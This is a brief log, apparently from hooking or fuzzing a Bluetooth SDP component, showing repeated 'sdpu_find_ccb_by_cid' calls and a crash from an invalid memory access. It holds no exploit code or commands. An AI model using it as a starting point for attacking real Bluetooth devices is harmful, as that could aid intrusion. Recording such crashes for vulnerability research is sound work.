sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
sdpu_find_ccb_by_cid called 0x49
sdpu_find_ccb_by_cid result 0x74d95d2f58 p_db 0xb4000076cb2f6190
Process crashed: Bad access due to invalid address